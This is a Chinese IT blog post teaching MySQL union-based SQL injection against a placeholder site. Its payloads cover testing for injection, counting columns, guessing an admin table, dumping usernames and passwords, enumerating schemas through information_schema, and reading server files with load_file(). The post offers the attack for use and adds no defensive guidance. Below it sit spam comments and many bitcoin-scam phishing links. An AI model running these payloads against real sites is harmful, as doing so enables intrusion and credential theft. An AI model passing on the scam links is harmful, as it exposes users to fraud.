小灰博客--小灰IT技术博客 | sky00.com

MYSQL注入

大家都知道,危害我们网站安全较多的漏洞还是注射漏洞。无论腾讯、百度、SINA等等大型网站都惊现过注入漏洞,今天讲解的是PHP+MYSQL的注入。我们注重的不是WEB语言而是数据库.了解一条SQL语句是如何运行。
常规WEB语言与数据库搭配方法:php+mysql、ASP+ACC、JSP+ORACLE、ASPX+MSSQL等等搭配都有
以下判断是否存在注入漏洞的语句.其中/*在MYSQL中是个注释语句.
http://www.xxx.com/sql.php?id=7 and 1=1/*
http://www.xxx.com/sql.php?id=7 and 1=2/*
下面我们用ORDER BY 语句进行字段中查询的记录进行排序;
http://www.xxx.com/sql.php?id=7 order by 10/* 一直重1到10输入ORDER BY 11 返回出错
下面用猜表名方法;(假设表明为admin)
http://www.xxx.com/sql.php?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin/*
当这样返回正常的话.存在此表明了!当然会显示一些特殊数字的WEB上
下面用猜字段方法;(假设字段为user 和pass)
http://www.xxx.com/sql.php?id=7 and 1=2 union select 1,2,user,pass,5,6,7,8,9,10 from admin/*
我们可爱的账户与密码出来了(一般密码是经过MD5处理或者其他加密)
但是我们在MYSQL中(假设版本是5)的注射手法,mysql5中增加一个库叫information_schema,可以爆库爆表爆字段。解决了我们找不了表明与字段的烦恼
union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增,查询到4时浏览器返回错误,说明存在3个库。
union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
limit 从0开始递增,查询到7时浏览器返回错误,说明此库存在6个表。
union select 1,2,3,COLUMN_NAME,4,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列


这样可以解决我们找不到表与字段的烦躁(版本为MYSQL5)
介绍下MYSQL中的函数(CONCAT_WS()函数)
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10/*
这里的意思一次查看MYSQL的版本信息当前用户等等
介绍下MYSQL中的函数(load_file() 函数)
and 1=2 union select 1,2,3,load_file(16进制转换),5,6,7,8,9,10/*
使用load_file()读取敏感信息必须该用户赋予最高的权限..把你需要的文件路径转换为16进制即可
部分还有几个MYSQL中的函数没介绍,但这文章需要时间..


如果该文章帮到了您,不妨帮忙分享支持下博主!
同时也欢迎各位技术爱好者加入IT技术群(点击即可):70035098 互相交流学习!

分享该文章到:

8 条评论

  1. 止水带说道:

    好文章,内容十全十美.禁止此消息:nolinkok@163.com

  2. 硝化纤维说道:

    不错的文章,内容文章雅致.禁止此消息:nolinkok@163.com

  3. 氯化橡胶漆说道:

    不错的文章,内容妙不可言.禁止此消息:nolinkok@163.com

  4. 防火板说道:

    好文章,内容惊天动地.禁止此消息:nolinkok@163.com

  5. 踏步板说道:

    不错的文章,内容远见卓识.禁止此消息:nolinkok@163.com

  6. 烧纸批发说道:

    不错的文章,内容学富五车.禁止此消息:nolinkok@163.com

  7. 防虫网说道:

    不错的文章,内容一气呵成.禁止此消息:nolinkok@163.com

  8. 荷兰网说道:

    不错的文章,内容完美无缺.禁止此消息:nolinkok@163.com



发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

分类

最新评论

  • + 0.75788585 BTC.GET - https://telegra.ph/Get-BTC-right-now-01-22?hs=9e710a17c6f1893b8975843ad65a53ec&:80ymq4
  • You have a email № 897905. Read >>> https://telegra.ph/Get-BTC-right-now-01-22?hs=7fc809c4247ff3bb3e2b81fd7b90d625&:whaht3
  • You have received a message # 76978. Go >>> https://telegra.ph/Get-BTC-right-now-01-22?hs=3da051666d269a0bc63a99730221a24b&:pt6kzb
  • You got a transfer from user. Get => https://telegra.ph/Get-BTC-right-now-01-22?hs=3f08de96112b4bab631df916e9c95f9e&:zi27wf
  • You have received a notification № 252423. Read >>> https://telegra.ph/Get-BTC-right-now-01-22?hs=8b618b6f3e2558ea545b01f25c66ea45&:z91sjl
  • We send a transfer from unknown user. Continue >> https://telegra.ph/Get-BTC-right-now-01-22?hs=e4c49dd9cb5ed33f97a29bc92a741521&:iiaw99
  • You have a transaction from unknown user. GЕТ => https://telegra.ph/Ticket--6974-01-15?hs=9e710a17c6f1893b8975843ad65a53ec&:409z2a
  • Ticket: TRANSFER 0,75924235 BTC. Next => https://telegra.ph/Ticket--6974-01-15?hs=8f87d0d2843e103c87c4bd683c9bda39&:mqjjeh
  • Email- Transaction #WX47. ASSURE > https://telegra.ph/Ticket--6974-01-15?hs=48af46897a78ce23e02d3d6d91453c82&:30gz1l
  • You have 1 email № 583291. Open >> https://telegra.ph/Ticket--6974-01-15?hs=46cca2220f62b645c465c3659609f169&:hudwy0
  • Notification; TRANSACTION 0.75415746 BTC. Assure >> https://telegra.ph/Ticket--6974-01-15?hs=e8e513973712a3c92cfc5061bded6465&:6zm4xv
  • Notification: TRANSACTION 0,75847329 bitcoin. Next => https://telegra.ph/Ticket--6974-01-15?hs=78ee8b109ef1383fa4708aeb263ae5fb&:rx6muv
  • We send a gift from us. Receive > https://telegra.ph/Message--2868-12-25?hs=9e710a17c6f1893b8975843ad65a53ec&:10tou3
  • Message: Operation 1,82387 bitcoin. Continue >>> https://telegra.ph/Message--2868-12-25?hs=55c3e989c8fdd036165c4bcc7c546cc2&:bv7ewv
  • You have received 1 message(-s) # 913. Go >> https://telegra.ph/Message--2868-12-25?hs=5af3ecd2025eafc0e90768d67a58cc03&:wy2bom
  • Ticket: Operation 1,82536 BTC. Assure >>> https://telegra.ph/Message--2868-12-25?hs=36dc3bdc6f6177f66ac19e016914d415&:ei588v
  • Email- You got a transfer №HE29. NEXT >> https://telegra.ph/Message--2868-12-25?hs=3f08de96112b4bab631df916e9c95f9e&:zl3efj
  • You have received 1 notification # 675. Open > https://telegra.ph/Message--2868-12-25?hs=d9564a149cf7ebbc725fcfce1bd3d512&:z3xcf1
  • You have received 1 notification # 195. Read - https://telegra.ph/Message--2868-12-25?hs=d2e9f25426f06f324d26af9866fa1537&:uvn3a3
  • Notification- Process NoKZ98. NEXT >> https://telegra.ph/Message--2868-12-25?hs=20abb68ac955ac5538a5ae131902e2a0&:32ucvg